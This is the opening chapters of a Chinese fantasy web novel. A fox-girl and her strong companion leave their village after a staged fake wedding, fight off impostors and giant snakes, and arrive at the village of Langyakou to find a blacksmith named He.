《狗胆!竟敢觊觎我娘子内丹》
1. 老东西们戏真多
荒古之初,大陆肇定,万灵共生,各启修行之路。
林间枝叶交错,光影斑驳,一男一女两个小少年踩着落叶一路狂奔。
少女生得娇小可爱,因奔跑而启唇微喘,一双暗红双瞳如惊兔。头顶那对白狐耳斜斜地向后撇,身后白色大尾巴左右摇摆,配上那身浅青碎花袄裙,倒像是在林中戏捕绿蝶。
少女回头一看,山腰村子的轮廓彻底不见了,总算肯停下脚步。她扶着树杆微微喘息,紧拧着眉头,整个狐显得有些烦躁。
从天明睁眼,就稀里糊涂被姨婆牵着一通安排,她的思维此时还在混乱中,也懒得多想,低声恶道:“我爹那个老糊涂!喝顿酒也能把我许出去?”
身旁紧跟步子的少年替她顺着背,安抚道:“梦儿别生气,你也知道他们总爱胡闹。”
这少年身形高大健壮,与少女形成鲜明对比,幻化的人形堪称完美,唯有墨绿瞳孔比较显眼。一头雪白长发还未束起,倒是同少女的白耳白尾相得益彰,身上穿着褐色粗麻也丝毫盖不住他的沉稳气质。
少年见她渐渐缓过气来,这才蹲下身子为她拂去裙摆上的草屑。
耳边听着她上不敬老下不爱小的数落,脑子里顿时浮现出村里的叔伯姨婶,言行举止好像就没有正经过,他眼底不由自主漫起浓郁笑意。
君梦有些愤愤,继续吐槽:“桃桃你莫要替他们讲话!那熊家倘若非要人,让他自个儿嫁过去算了,五伯帮他幻化个女身也不是什么难事!”
说到这,她想起今早阿爹顶着黑毛狐狸头的心虚模样,又忍不住鼻头一酸,嘴硬道:“算他有点良心,还知道提前打点好行囊,找机会让我们跑,哼!”
顾桃没接这话,其实先前熊家管事来迎亲时,他就察觉出了端倪。
村里老少就没一个好脾气的,整日一副天王老子来了都不怕的德性,按说就算是酒后糊涂许下什么诺,事后想悔便悔了,他们做得出来……怎地今日就对那外人点头哈腰,跟他们以往的秉性完全相反。
要说是惧怕熊家势大?他是不信的。回想起前几日,胡叔费尽唇舌想让他们下山“历练”,奈何梦儿赖在家里不为所动,莫不是……
正当他准备复盘,林子里传来“窸窸窣窣”的动静。
“站住!把那丫头留下!”
三道身影挥舞着长刀猛地窜出,正是进村迎亲的熊管事和他的两名打手。
熊管事瞄了一眼君梦,咽下一口唾沫。
君梦眼见迎亲队阴魂不散,徒然拔高了音量:“怎、怎么还追来了……”
顾桃脸色一沉,对于“迎亲队”的身份很是不悦,看来还是免不了要动一动手。
那熊管事咧嘴一笑,同她讲起道理:“君姑娘,你爹欠了我们老爷一大笔钱,指明了用你抵债。白纸黑字写得清清楚楚,你要是跑了,可想过你们村中老少吗?”
君梦瞬间大怒,开口就骂:“好哇,原来不是醉酒许的亲!这糟老头子当真把我给卖了!”
熊管事见她接茬,暗自发笑,迫不及待竖起手中长刀指向两人,整个人没了先前的富贵气质,反而有些流里流气,“乖乖跟我回去拜堂,免得我们动粗!”
不等恼羞成怒的君梦动作,顾桃双眼一眯,将她挡在身后。
熊管事见他率先拉开架势,瞬间敛了嘲讽之意,招呼手下举起三把长刀狠狠朝他劈过去。
顾桃揽住君梦纤腰侧身一躲,顺势将她往旁边拨开,赤手空拳就迎了上去,看准时机捏住长刀蛮刀一拧,“啪”地一声就将刀身截成两断。
那打手面上一惊,虎口发麻,没想到少年力气这般大。
另一名打手见状,连忙遇起妖力,高举长刀再次砍来。
顾桃不躲不闪,矮身一个后飞踢就将他踹开。
熊管事倒是有些武艺,刀上妖气也更盛,使出吃奶的劲横劈竖砍。
君梦生怕空手的顾桃吃亏,不声不响加入战斗,仗着自身的灵活优势,专挑两人相斗的缝隙朝熊管事下黑手,把他搞得心烦意乱。
没两个回合,疲累的熊管事就被揍得摔扑在地,挣扎了好几下都没能爬起来。
君梦没过瘾,还想揍他,顾桃将她拦住,低声劝道:“不可下手太重。”
她想了想,明白过来。先前就听闻熊家在万妖城中有些势力,这是怕把他们揍得狠了生出太多怨气,回头带人找村子的麻烦。她虽心有不甘,却还是气呼呼放下拳头。
顾桃温和一笑,揉了揉她脑袋,转身朝熊管事走过去。寻思着怎么跟他们好生说道说道,所谓强扭的瓜不甜,不如趁早回去复个命,让他们家老爷取消了婚事为好。
胡叔那边也好商量,把叔伯们埋在地里的好货挖一挖,该怎么赔偿赔偿,便可了结了这桩荒唐事。
熊管事以为他还要动手,连忙抱着脑袋求饶,声音都变了调。
“别打了!我们、我们不是真的迎亲队!”
顾桃愕然,脚步顿住与君梦对视一眼。
听说不是迎亲队,君梦对于成亲的慌张便散了,加上打赢了这场架有底气。
她质问道:“你们到底是谁?不老实交代我就还揍你!”
熊管事猛点头:“说!这就说!”
只见他浑身冒起青烟,身形逐步缩小,恢复了原本的样子,原来是只灰狐。
两名打手见老大认了怂,也赶紧恢复了原样,竟是两只矮小鼹鼠精。
两只鼹鼠在灰狐的示意下滚了过来,跪在地上,抱着爪子吱吱乱叫:“昨儿我俩正在洞中睡觉,被一阵声音吵醒……听了半晌,原来是你们村打算演一出戏,好赶你们下山!”
君梦心头一紧。
演戏?整个村子张灯结彩那么大排场,就为了搭一场戏,赶他们下山?
顾桃眼看小妮瞬间耷拉下狐耳,一副打焉的模样,必是觉得委屈。他立刻将自己诧异的情绪收起,揽住她的肩膀以示安慰。
鼹鼠精继续说:“咱们一听就高兴坏了,前两个月老大还喊着想娶媳妇儿,这不正是个好机会嘛!”
接着,听了一半的鼹鼠精撒腿就跑,急着将这个好消息告诉灰狐。
灰狐一听还有这好事儿,只要略施小计就能把姑娘骗出来,和白捡个媳妇儿有啥区别?!于是他们决定将计就计。
天不亮就躲在村子角落。灰狐趁老五展开幻境时偷偷吸了一口他的妖力,好用来破阵和缝补。谁成想这看起来憨厚的普通村民修为却极高深,口中浓郁的妖力好悬没将他憋死。
所幸老五安稳日子过得太久,加上搞事的强烈兴奋感,一时失了警惕心,倒也没有发现异常。
等老五走后,灰狐翻着白眼,颤颤巍巍将口中妖力吐出少许裹在长刀上,在幻境边缘划了道口子,两只鼹鼠精赶紧扶了老大钻进去。
没走两步,就找到装扮成熊管事和他打手的几根红色尾毛。
这灰狐沾染了老五的气息,是以自己入门级的修为便轻松化解幻象,接着又将那几根尾毛压在大石头下,否则幻象消散后,这尾毛自动归了位,老五就该察觉到出现纰漏了。
灰狐憋了一脑门儿汗,有些力竭,但他一想到自己马上就要有媳妇儿了,精神为之大振。再次喷吐出剩余妖力,将三人身形按先前看到的“迎亲队”演变,这才大摇大摆往村口去。
当他初见君梦时,两眼发亮,想不到那黑毛老狐的女儿,如此清秀可爱,真真是赚大发了!
他早些年当了一阵混吃混喝的二流子,学着那些当家管事端架子也算有模有样。原本想着这种小山村多半没见识,自己一吓唬,对方还不乖乖跟他走?!
至于一直护在君梦身边的臭小子,神情温和毫无戾气,大抵也就脸能看,基本可以忽略不计。
细细盘算下来,他觉得每一处都万无一失。所以黑毛老狐要
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带着挣扎的闺女去打扮时,他就哼着小曲儿守在村口,美滋滋地等待他的新娘。
可等了老半天,新娘子还没见着,老五就开始撤销幻境,村里人更是个个眉开眼笑。空地场上排练奏乐的熊妖重新变回稻草人,村口那顶花轿就是个烂竹框,还有一排排鼓囊囊的聘礼,竟是几缸腌菜坛子!
这可了不得,幻境一旦消散,他们三个大活物露了馅,还不得讨一顿好打?!
无法,只能带着手下灰溜溜逃了。
“我媳妇儿呢!我媳妇儿呢?!”
灰狐掐着鼹鼠精的脖子大发雷霆,脸色铁青凶相毕露,恨不得活吞了他们。
“老、老大!呕……你听、听我说!”
灰狐气哼哼撒了手,将他俩往旁边一甩:“快说!”
“咳咳……他们…目的就是赶走那丫头,既已收了幻术,那必是目的已经达成啊!”
灰狐眼睛一亮:“你是说,我媳妇儿已经下山了?”
鼹鼠精捂着脖子猛点头:“我俩钻地快,且去替您探探路……”
“好极!快去!”
……
待三人断断续续讲来,顾桃和君梦都有些哭笑不得。
君梦嗔道:“一群老妖怪,整日里没个正形,演出戏还能被人钻了空子!”
顾桃看着眼前三只畏畏缩缩的小妖,没再动手,闷声呵斥:“滚,再敢打她主意,下次就没这么走运了。”
“是是是!”
三只小妖一溜,林子里恢复了安静。
顾桃开口唤道:“梦儿……”
刚开了个口就被君梦抬手打断。
她仰起小脸,眼眶还红着,却噗嗤一下笑出声:“这么笨的法子也就他们能想出来……不过既然他们用心良苦,那我们便去闯一闯这世界吧!”
顾桃本以为要费一番口舌才能说服她,但见她明亮的大眼里尽是爽朗,并无半点勉强,遂放下心来,展露笑颜点头附和。
“我们要好好修练!等回去了,定要将他们打得满得找牙!要把这些年来受的‘欺负’都还回去!哼!”
少年轻声笑道:“好好好。”
……
隐藏了身形和气息的几名大汉蹲在树杈上,看着他们毫发无损继续往山下出发,个个满脸黑线。
老五执起帕子擦了擦额头,“没事就好……”
他撤消幻术时感觉回收阻滞,寻过去才发现他的尾毛被压在大石下,顿时惊出一身冷汗。
被外人闯入幻境,他竟没有察觉,这些年的日子还是太舒坦了!
几兄弟顶着老二要吃人的愤怒,匆匆赶上两个孩子的脚步。
所幸,不是当年那些追捕者。
老四悬着的一颗心落了地,生怕老二又训人,忙道:“村里结界虽然稀薄了,可到底还没消散,我就说没这么快被人追踪到!”
老六摆摆手:“可算把这小祖宗哄走了!要不然等结界一破,公主的残存气息泄漏出去,指不定还会引来什么乱子。那帮畜生不来最好,要是来了,找不着人也该死了心。只要他们躲过这几年,往后就能安心过日子了。”
骑在树上的胡应庾哭得呜呜咽咽:“我的乖女儿啊~~外面太危险了,我能不能一直跟着她?”
“老胡你就放心吧!在我们多年的熏陶下,这两个家伙鬼精得很,可不是什么人都能对付!小梦的气息也被老二封锁了,问题不大!”
“再说,小桃体内的力量也需要不断激发才能重新与他融合,咱们这畏手畏脚的训练反而对他不利。”
听得他们议论纷纷,老二始终不搭话,最后纵身一跃,率先往山腰小村落去了。
“走吧,老二都回了。”
“老六,回头把地窖修补修补,私密计划都被人偷听了去,要得个屁!”
“有啥好修的?”老六摊手:“到时怕是村子都得重建……”
2. 你的报应就是我
顾桃和君梦刚走出林子,迎面两条小路一座木桥,倒是让他们犯了难,却不知该往哪边去。
不过这种动脑子的事多半是顾桃的活儿,君梦索性找了块干净的石头坐下,招招手讨来胡爹塞给他们的宝囊,想翻翻看有些什么好吃的。
君梦抓起袋子反复打量:“这不是二伯的须须臾袋么?”
确认是那只眼熟的宝袋后,她会心一笑。小时候缠着二伯要了好久,他都不肯给呢。
“噫!”
她摸出一封信,顾桃凑过来蹲在她身旁。
将信交给顾桃,继续翻翻翻……
“呀!……”
一把精巧小匕首,和一捆青色细藤鞭,都是老朋友。
小匕首是胡爹的贴身心头爱;藤鞭则是嫣红婶的随身法宝,平时就用它来对两人教学。
君梦咧嘴一笑,将这些物什搂在怀里,心中欢喜,小脚丫不由自主晃了晃。
再翻翻,另外还有些乱七八糟的东西和日常用品。
“信上有指引,说是让我们过河,先去狼牙口找一位姓贺的叔叔。”
“唔,好的。”
君梦腮帮子鼓鼓,已经吃上了,随手又将一片肉干塞进顾桃嘴里。
“走吧,先过河。”
顾桃将书信折好,与其他杂物一并存入须臾袋中整齐码放,往腰上一挂,牵起君梦就往木桥走。
水流湍急,河面波光粼粼。
下了桥刚要往前走,旁边芦苇丛“稀里哗啦”响。
几只壮硕的牛头怪窜出来,个个提着粗木棒,鼻孔里吭哧吭哧喷白雾,拦住了他们。
“此桥是我守,此路不准走!要想从这过,须得把财留!”
为首的牛妖嗓门洪亮,木棒往地上一戳,震得泥土飞溅。
君梦瞧着有趣,笑弯了眉眼,默默往后退了两步。
顾桃眼里没有半点波澜,只道:“让开。”
“哟呵,小崽子还挺横!”
牛妖被他态度激怒,举起木棒就横甩过来。
顾桃连眼皮都懒得抬,抓住木棒就往下一拽,牛妖笨拙的身子重心不稳,“噗通”摔了个牛吃草。
剩下几头牛脸上挂着不可思议,要知道他们牛妖的气力,可不是一般小崽能承受的。虽说感觉到了棘手,可也不能不管同类,纷纷哞哞叫着就冲上来。
不出所料,片刻就被顾桃挑翻在地,个个扑在地上哀嚎。
君梦看得哈哈大笑,靠坐在桥栏上拍起巴巴掌来。
牛妖们连滚带爬往后撤,嘴里粗声叫喊着:“老大!有人砸场子!”
这话刚说完,不远处一顶用兽骨和兽皮围搭起来的棚子里,突然传来“哐当”一声。
那棚子的主人似乎脾气不太好,骂骂咧咧随步子往外走:“老子今天真是倒了血霉了,处处都不顺!又是哪个皮痒的找事?!”
顾桃回过头,与君梦对了个眼神,这声音,耳熟。
等那身影走出屋子,两人彻底乐了。
好嘛,又是那只灰狐。
灰狐龇着牙,一副气极败坏的样子。等他适应了光线,看清两人后瞬间没了脾气,腿一软,“嗷”地一声就转身往屋里钻。
君梦笑得合不拢嘴,成了心要跟他过不去,脚下一蹬,一溜烟就追了上去。
顾桃见她玩心大起,也只能紧随其后。
君梦掀开屋帘,嫌里头昏暗不愿意进去,敞开嗓门就冲里面喊:“滚出来!不然我拆了你的破屋子!”
“不出来!你们两个煞星,哪有追上门打人的!”
君梦一听就不乐意了,拔出腰间小匕首往里走了两步:“把钱交出来!”
匕首反光晃得灰狐眼花,再一看她身后的魁梧身影,直吓得躲在角落瑟瑟发抖。
“姑奶奶,我错了!我真没有钱!”
顾桃无奈的摇摇头,跟着弯腰进了屋。屋子乱糟糟的,地上铺着些干草和兽皮,一只挂着水珠的碎碗瓷片散落在门边。
“没钱?”
君梦指了指外头目瞪口呆的牛妖,又比划比划匕首:“养这么多手下,拦路打劫哎,还敢说没钱?信不信我削你!”
灰狐双手抱着脑袋,哭丧着脸:“哪是什么手下,我们都是附近流浪野妖,聚到一块儿才不会被其他妖精欺负呀!这个个要吃要喝的,哪还有余钱?不然我也不会连媳妇儿都娶不上!”
君梦愣了愣,原来打劫不赚钱?
顾桃皱起眉头,问道:“流浪就图打劫么?为何不着家?”
一提这事,灰狐脸上多了几分悲愤,抬起眼眸瞟了顾桃一眼,见他表情不像是嘲讽,这才落寞开口。
“我原本是狼牙口的人,七年前随老爹的商队进城倒换货物……”
“在城里耽搁了个把月,回去的时候,不知这山谷何时被一窝怪蛇霸占。那畜生凶恶得很,刀枪不入!我们队死的死伤的伤,还好我在最后头,我老爹拼了一条命才将我送出来……”
灰狐顿了顿,蜷缩的姿势换成瘫坐在地,两眼无神垂下视线,声音愈发低沉。
“我没办法过去……回不了家了。”
“所以才集结了这些同样没去处的小妖,划下一块地,大家抱团取暖,这样才能把日子过下去。”
听完灰狐的话,君梦脸上笑意收敛,少女的同情心泛起滥:“怪蛇?什么蛇还能拦路杀人?这也太可恶了!”
顾桃瞧她义愤填膺的模样,全然忘了这货将将才打过她的主意。好笑地摇了摇头,接着以审视的目光对上灰狐面庞。
看他眼底的悲伤和无奈倒不像是假的,于是缓缓开口:“我们此行正要去狼牙口,你所说的山谷在何处,可否给我们带个路?”
君梦听他这么说,也冷静下来,用力点头:“是了,走,我倒要看看什么样的怪蛇,如此横行霸道?你跟我们一块儿闯了那恶地!”
原本听着顾桃平静的话语,灰狐眼里还闪过一丝希翼,可瞬间又被君梦激动的娃娃脸打消念头。
他嗤笑一声,语调里满是痞气:“别开玩笑了!我承认你们两有些手段,不过也就只能打打咱们这种不成气候的小妖,我老爹一整队都折在里头,就凭你们两?”
君梦立刻瞪眼,一番好意你不领,非要老娘动粗!
她提起匕首又靠近了几分,刀尖几乎要碰到灰狐的鼻头,眯着双眼张口就威胁:
“我们不是在跟你商量,你若是不肯带路,我们自然也寻得到。可既然不能同路,你手下小妖打劫我这事我可就又想起来了…你说是把你们全抓了送去万妖城做苦工呢,还是干脆丢河里喂鱼给我解解气呢?”
灰狐脸色顿时一白,这臭妮子真是说翻脸就翻脸,怪脾气跟甜美长相一点也不搭!
再说,这到底是谁在劫谁?
他咽下唾沫,支支吾
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吾道:“去、去了又有什么用……你们两个娃娃何必去送性命?”
顾桃见状,趁热打铁抛出最后的诱饵:“你只管带路,将谷中路线讲与我听。我俩过不去是自己没本事,你若觉得危险,自跑了便是。若是过得去了,你且不也回了家?”
灰狐听罢,果真呼吸急促起来。
回家是他七年来的执念,阿爹身亡后,家中就只有年迈的奶奶。七年漫漫长,也不知奶奶该多伤心?每每念及此处,他心里就揪得疼。
正如他所说,要是自己感觉不对劲,丢下他们跑路便是,反正这便宜媳妇儿是捡不着了。横竖自己两不亏。
灰狐垂下眼帘思考一阵,总算点了点头。
……
灰狐姓殷名全,按人族的年纪来算,估摸着也就比他们大个十来岁。
路上三人互换了姓名,也算是不打不相识吧。
殷全再将谷内的情况尽量详细描述给他们听。
行了半日,天色渐暗,他们加快了脚步。
“前方便到了。”
殷全指着一处阴暗的山谷。附近的空气中弥漫着一股腥甜怪味,顾桃警觉地往前走,反手轻轻拍着趴在他背上打呼的君梦。
“……唔?到了吗?”
君梦睡眼迷蒙打个哈欠,挤出两颗泪珠挂在眼角,迷迷糊糊侧着头看向前方。鼻尖轻轻一嗅,她也觉察出了不对劲,拍拍双颊打起精神,从顾桃背上跳了下来。
殷全不敢在前带路,步子落了后。
顾桃和君梦也不管他,一前一后继续往里走。
越往里,峡谷内越发窄小,乱石嶙峋,两边的阴影里,杂乱无章地好像插着什么东西的断臂残肢。
“仔细些。”
顾桃双眼微眯,墨绿双瞳发出幽幽光芒,前方漆黑的景象刹时展露无遗。
殷全有些犹豫,来回踌躇,最后还是抽出长刀,紧抿着唇,默默跟上二人脚步。
等他们彻底踏进黑暗,四周便不时传来悉悉索索的声响,夹杂着铁片轻微与地面接触的摩擦声。
顾桃停止脚步,伸手拦在君梦身前,犀利的目光向周围一扫。
突然,从左侧岩石处飞出一条手臂粗细的大蛇,以极快的速度直奔他面门而去。
这怪蛇紫色的鳞片闪闪发光,尖头带角,张着大嘴,露出两颗锋利獠牙。
顾桃侧身躲过,抬手以更快的速度抓住它的脖颈,接触之下便觉得蛇体鳞片如钢铁一般,坚硬无比。
虽说顾桃先前听殷全讲时就有心理准备,可正经接触到这怪蛇鳞甲,方知他所言非虚!
奈何他生来蛮力,发力一捏,只听“咔吧”声响,大蛇软趴趴耷拉下来。他随手一扔,护着君梦准备往后退。
不想脚边早已悄无声息地游过来另一条紫蛇,张嘴就朝他脚踝咬去。
顾桃反应极快,抬脚一踏,瞬间将蛇头踩得稀烂,不等来不及死去的蛇身缠上来,又是一脚将它踹到远处。
殷全在后面看得瞳孔骤缩,倒抽了一口凉气。七年前他用刀砍这些怪蛇时,不但没能造成一点伤害,整条胳膊更是被它们震得颤抖。
这少年郎竟能徒手捏碎怪蛇脊椎?!
他这时才后知后觉反应过来,先前自己与他过招时,对方居然全程都收着力!看来跟着他们确实回家有望!
正当他神游之际,君梦突然喊道:“小心背后!”
3. 初生牛犊有点虎
不等他作出反应,君梦已经拎着他领口避开了紫蛇的攻击。
她抄起随手捡来的半截断旗杆子,猛地砸向蛇身,发出一声闷响。
君梦有一瞬的诧异,乖乖,这身防御有够强悍的!随即眉毛一竖,手腕翻转,缠上紫蛇便猛地搅动旗杆,将蛇身卷成麻花裹在旗杆上,连蛇带杆就往远处投掷。
那断旗杆子“砰”地撞上石壁,惯性让这倒霉蛇刚松开身子就砸到石头上,顿时头晕眼花,瘫在地上抽搐不止。
转眼间顾桃又解决了两条同时飞越而来的紫蛇。
此时四周已经密密麻麻围上来大大小小的蛇群,半扬起身吐着腥红信子,品尝着空气中弥漫的活物味道。
三人背靠着背,小心巡视。
殷全咽下唾沫,强行稳住自己哆嗦的双腿。
群蛇虽然极是嘴馋,但刚才偷袭他们的同类几乎瞬间就毙命于二人之手,也让众蛇再不敢轻举妄动,双方就此僵持下来。
这时,从更深的阴暗处传出阵阵轰鸣声,似乎有什么巨物钻出,地面微微震颤。
那些原本还在观望的蛇群突然像疯了一样往两边逃窜。
顾桃眉头紧拧,提高了戒备,朝声响的位置向前移动些许,以自己健硕的身体将二人挡在身后。
只听响动越来越靠近,烟尘更加纷乱,一颗巨大的三角头颅从中探出,原本卧背的一对巨角也直立起来,微弱的光影覆盖着它暗紫色的鳞片。
巨蛇粗壮如屋,灯笼般大小的眼睛透露出恶毒的光,死死盯着他们,分叉的信子在空中快速吞吐,发出“嘶嘶”声,带着更加浓烈的腥臭。
它如王者巡视领地般缓缓往外游动,巨大的身躯所过之处,岩石都被磨出深深的痕迹。
三人面对如此巨物,皆大吃一惊。
殷全更是再也止不住地浑身颤抖,张着大嘴惊骇无比。
顾桃背脊一阵发凉,拳头紧握,臂上青筋鼓起。他目光紧盯着它的一举一动,不敢给它展露一点破绽,这般狭窄的通道容不得半点失误。
他再往前探了一步,作出迎敌的姿态。
“桃哥,”
君梦躲在侧后头,暗中拉了拉他的衣角。
顾桃余光瞥向她,只见她不着痕迹扬扬下巴,轻声提示:“想办法离开这,出口就在不远处了。”
顾桃顺着她的示意瞟过去,出口方向确实有一丝微光在转角处。
“小心!”
不等两人细细讨论,殷全颤抖着声音大喊,手中长刀早就脱落坠地,整个人直直往侧面扑。
这巨蛇显示对他们的分心很不满,张开血盆大口便扑过来,那速度与其庞大的身躯极不相称,带着呼啸的风声,仿佛要把他们一口吞下。
顾桃眼神一凛,拽着君梦猛地翻身后跃。落地还未站稳,他们刚才所在的地方,就被巨蛇的大头颅砸出一个深坑,碎石飞溅。
巨蛇一击未中,再次发起攻击,它巨大的尾巴甩将过来,空中呼啸声彰显着它的力量。
顾桃紧紧抓着君梦在狭小的谷间穿梭,躲避巨蛇强而有力的攻击。
殷全则趁机寻了处石壁缝隙躲进去,惨白着脸,即替他们紧张又觉束手无策。
君梦突然喊道:“桃哥放手!”
顾桃闻言顿时松手。
原来是君梦瞧见巨蛇扭曲的身躯露出破绽,她拔出腰间小匕首,抓住机会闪身靠近果露的蛇腹,顺着鳞片之间的缝隙,用尽全力将锋利匕首刺了进去再猛然拨起。
漆黑的血水顿时喷涌而出,又腥又臭令人作呕。
君梦身形小巧灵动,厌恶而迅速地躲过喷溅的血水,不再多看一眼,拔腿便跑。
巨蛇何时吃过这等大亏,仰头愤怒撕吼,整个蛇身往中间缩拢。
不等它将身子裹起来,君梦脚尖轻点蛇身,借力飞跃至空中,晃眼间寻到顾桃急切赶来的身影,再一步踏上跟前的蛇头翻身而下。
不及落地,便被顾桃接入怀中。
“抓紧我!”
他搂着君梦,长腿发力,纵身跃过一块岩角上,拧起眉头大喊:“殷全!”话音未落,当先一步往出口掠去。
殷全混的年头久,属于狐族的灵敏性还是不弱的,虽然又急又怕,还算极时反应过来,钻出缝隙就跟了上去。
身后的巨蛇又气又疼,发红了眼追赶三人。但后面的通道实在太过细窄,它庞大的躯体根本无法通过,最后只能在通道口疯狂撞击岩壁,不甘心地发出震耳欲聋的咆哮。
三人拼尽全力冲向仅剩不多的光亮……
转角一过,果真视野大开。
回过头再看,谷内已然漆黑一片,只有耳边被疯蛇折腾出震动山谷的动静。
出了谷口,顾桃才放下君梦。
三个人都大大松了口气,殷全弯腰扶着双膝,喘得哼哧哼哧。
君梦一巴掌拍到殷全背上,咧着嘴笑,露出两颗小虎牙:“嘻嘻~逃过一劫!”
顾桃笑骂道:“就会胡来!没一天省心。”
谷外朦胧,太阳已下山,一弯月牙摸上枝头。
顾桃等殷全喘息渐缓,示意他前方带路。自己则在君梦身边蹲下身子,柔声道:“上来,得赶路了。”
君梦也不客气,哈哈一笑便蹿了上去。
她手里还握着小匕首,上头残留着不少黑色血迹,带着令人不适的臭味。“啧”了一声,很是嫌弃,可又不愿意触碰它,刚垂下眼帘想寻个物什擦擦,一眼瞥见顾桃走路时晃动的衣摆。
她心想,桃桃勤快,洗件衣裳算不得什么。便用脚背勾起他的衣角,轻柔又快速地将匕首擦干净,收刀入鞘一气呵成!自以为神不知鬼不觉。
“……”
顾桃低头看着那处污渍,无奈地呼出一口气。
前方的殷全全然不知后面两人的小心思,只顾一瘸一拐往前飞奔。
回家!可以回家了!
此时他激动的心颤抖的手,嘴上语无论次、念念叨叨:“快些,走快些!我、我好想念奶奶煨的肉汤,还有烤饼!呲溜~”
君梦一听,眼睛发亮,肚中馋虫欢腾,举起手就擅自入了一股:“我也要,我也想尝尝!”
“那你俩走快点,回头太晚了,吃屎都赶不上热的!”
“那谁把热的吃了?”
“……”
三人赶着路再往前走了约摸两个多时辰,视野中出现一座简陋的石拱门。
常年的风沙洗礼,顶上刻着的“狼牙口”早已字迹斑驳,其后是一棵几人合抱才能围住的大樟树。再往后瞧,光亮星星点点,应是村落了。
“到了!”殷全欣喜不已,忘却了疲累,一股脑儿就冲过去。
大樟树后是一座哨塔,还不等落后的两人走近,就听见殷全沙哑着嗓门,激烈地与人争吵。
“我真是殷全!你仔细看看我!”
那哨兵同他一样,半人半狐、灰色毛脸,手中握着长矛,眉头都拧成疙瘩了。
“放屁!殷全死了好些年,你是哪来的山精野怪,想混进村里做什么?!”
殷全急得脸红脖子粗,翻来覆去解释了半天,奈何哨兵不为所动。
眼看说啥都不好使,他突然脑子一热,指着哨兵吼道:“你屁股上缺一撮毛!是小时候被野猪咬掉的!”
这话一出口,全场瞬间静了。
君梦赶紧捂住嘴生怕笑出声,整个人憋得一抖一抖的。惹得顾桃也忍不住勾起一抹笑。
那哨兵举矛的手一顿,整个人像被钉在原地,脸上的警惕与凶狠转瞬被震惊取代。
他僵硬地收回长矛,下意识背过手隔着裤子摸了摸那处秃痕,耳根子
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红得都快滴出血。
“你……你真是全子?”
殷全哽咽着点点头。
哨兵手里长矛“哐当”掉在地上,几步冲上前,一把抓住殷全的双臂,来来回回将他好一番打量。
“你真的没死!你、怎地这么些年都不回家?!”
殷全红了眼,反手拍了拍他的肩膀,嗓音颤抖着喊了一声:“宏哥……”
两人又哭又笑抱在一起,激动不已,随后相互拉扯着,跌跌撞撞就往村子深处跑,嘴里还呼呼喝喝的。
刚才的不愉快都被他们抛到九霄云外,更是彻底忘了后面还站着吃瓜的顾桃和君梦。
“……”
顾桃和君梦两两相望,正要跟着他们走进村子。
“你们找谁?”
哨塔旁一间低矮的小木房传来清冷的声音,一名女子揉着眼睛从暗处走了出来,显然是被刚才的嘈杂吵醒。
女子年轻娇小,披着白麻布衣,散着头发;五官端正,只是皮肤黝黑,面无表情;尖尖的耳朵被发丝遮了大半,细长的狸纹尾巴垂于身后。
顾桃见有人询问,从怀兜里掏出胡爹写的书信递过去:“我们是从山娇村来,找一位姓贺的叔叔。”
女子扫了他们一眼,接过书信。
她展开信件的手指有些粗糙,看起来是常年劳作。
等她快速浏览信上内容,才抬眼淡淡地:“跟我来。”说罢,转身便往村里走,也不管两人有没有跟上来。
“桃桃,她好奇怪哦。”君梦扯了扯顾桃的衣袖,小声嘀咕。
顾桃竖起手指点点嘴唇,示意她安分些。拉着她乖巧跟在女子后面,静静聆听周围传来的或交谈声、或撒水声。
盏茶的功夫就来到一座二层木楼前,一楼亮着灯,不紧不慢的“锵锵”铁器击打声从里面传出,伴随着“呼~呼~”风声。
“这里便是贺师傅家,你们进去吧。”
女子冷冰冰的语气好像对什么都漠不关心,将手中的信件归还于顾桃便转身离开。
君梦盯着女子远去的背影看了好一会,总觉得她身上萦绕着一股很淡很淡的死魂气息,最后在顾桃的呼唤下才跟着他走进木楼。
打铁的声音是从后院里传过来的,顾桃进屋后没看到主人家,觉得多少有些冒昧,正打算吱个声引起主人注意,君梦却已经三步并两步往后院去了。
顾桃想拉她一把也没抓住,只好一并跟上。
“呀!有人在这里!”
君梦寻着声响来到后院,睁大了眼盯着眼前火花四溅的景象。
光着膀子的中年铁匠,古铜色的肌肤,健壮的胳膊上暴着青筋,背上一道深蓝色妖纹,闪电般从脖颈往下蔓延开。
他一手捏着火钳夹了铁块垫在铁砧上,一手抡起泛蓝光的短锤有节奏地砸出“哐当”声,红亮的铁屑像撒豆子似的溅在石板上。
旁边炉膛的火苗卷着舌头往上蹿,将一边添柴一边脚蹬风箱的老妇人映得脸色忽明忽暗。
老妇人听见叫声,停下了动作,斜着脸皱了眉头问道:“你们是谁,有什么事吗?”
打铁声也不知道何时停了,铁匠阴沉着脸,胸腔里像风箱般粗重的呼吸,兀自拿起铁砧边上的那把刚开了刃的凿子。
顾桃不着痕迹挡住君梦,赶忙作揖出声:“多有打扰,是我们兄妹二人唐突了。”
“……”
“不知店主可是姓贺?我们兄妹自山娇村来,初次下山不懂规矩,还望叔叔婶婶见谅。”
顾桃见对面两人脸色不佳便将书信掏出,微微弯了腰,双手奉上,君梦就着顾桃腰侧的缝隙往里张望。
铁匠听闻“山娇村”面上一愣,随即眉毛都竖了起来,满脸怒气,“哐”地一声将手中锤子砸到铁砧,骂道:“滚出去!黄口小儿满嘴胡诌!”
4. 狼牙口
两人无声闯入铁匠铺,引起店主母子俩心生不满。
老妇人冷笑一声:“呵,山娇村而来?那图努谷是你们两个小东西说闯便能闯的?!”
她不屑地扫视两人:一个妖狐族的丫头,大块头看起来更像是妖兽,总之都不是能飞行的族类。
粗略几眼后收回目光,就着旁边木盆里的水净了手,拿起一块打湿的发黄帕子递给铁匠,继续嘲讽道:“难不成你们要说是绕过了整片山脉来的吗,还是飞过来的?”
铁匠接过冰帕子抹了一把脸,随手将帕子搭在肩上,心中因为热浪带来的烦躁平复了一些,含糊道:“出去出去,我们赶着出货,没功夫陪小娃子闲扯。”
君梦本就耐心不多,又是被吼又是嘲讽,一急眼就从顾桃腰间钻出来呛声。
“可我们就是从山娇村来的呀,我爹叫胡应庾,给了我们书信,说是交到狼牙口贺叔叔手上。你看看不就知道了!”
她有些恼,莫名其妙!这村子的人都是怎么回事?好像人人都要害他们似的!难不成这小破村还能有什么宝贝?
“梦儿不要无礼……”顾桃拉回她,仍旧双手捧信,压低了姿态,往铁匠跟前送过去:“叔叔婶婶别生气,是我们擅自闯了门有错在先,给你们赔不是了。”
“胡应庾……”
铁匠有一瞬诧异,抬眸认真审视起两人。后者诚恳的姿态让他不忍再刁难,这才接过书信抖落开来。
信上原本也没几句话,大篇幅画了一只黑毛狐狸。
